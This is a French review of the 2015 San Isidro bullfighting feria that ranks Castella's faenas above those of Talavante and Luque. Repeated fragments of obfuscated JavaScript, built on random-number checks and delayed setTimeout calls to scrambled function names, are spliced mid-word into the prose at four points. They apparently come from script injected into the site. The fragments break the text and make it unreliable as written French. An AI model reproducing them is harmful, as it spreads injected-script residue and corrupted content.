SAN ISIDRO 2015 : CASTELLA ET TALAVANTE ET LUQUE.

Alors qu’il reste encore trois grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands rendez-vous dans cette feria –le mano a mano El Juli et Perera ; le retour de Castella devant ceux d’Adolfo Martín- et le solo de El Cid avec les « victorinos »- nous pouvons affirmer que Sébastien Castella est le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and triomphateur de cette San Isidro 2015. Ses deux faenas, celle à un toro de El Torero et celle à un Alcurrucén, sont les meilleures et les plus abouties de la feria. On pourra argumenter qu’il s’agissait de toros exceptionnels, et c’est vrai. Mais réussir devant ce genre de toros est aussi la plus difficile des épreuves à laquelle peut être confronté un torero.

Face à la classe du premier et l’enivrante charge du second, le torero de Béziers a répondu avec une intensité esthétique et dramatique énormes, avec un temple et un tempo hors du commun. Ses deux faenas étaient possédées par la passion et le relâchement en toutes ses phases, et chacune d’entre elles il les structura avec une architecture narrative qui eut le mérite de commencer par le sommet, d’y rester et de conclure encore plus haut.

Juste après Sébastien se placent deux toreros d’ont l’un le surpasse peut-être en inventivité et tracé –Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante- et l’autre en tracé et temple –Daniel Luque. Mais leurs faenas n’ont pas atteint le niveau esthétique du Français. Certes, Talavante l’a dépassé en inspiration et créativité, et Luque en cadence et musicalité. Certes, avec Castella ils constituent le trio triomphateur de ce San Isidro…jusqu’à présent. Ce que nous disions, trois journées taurines décisives nous attendent.

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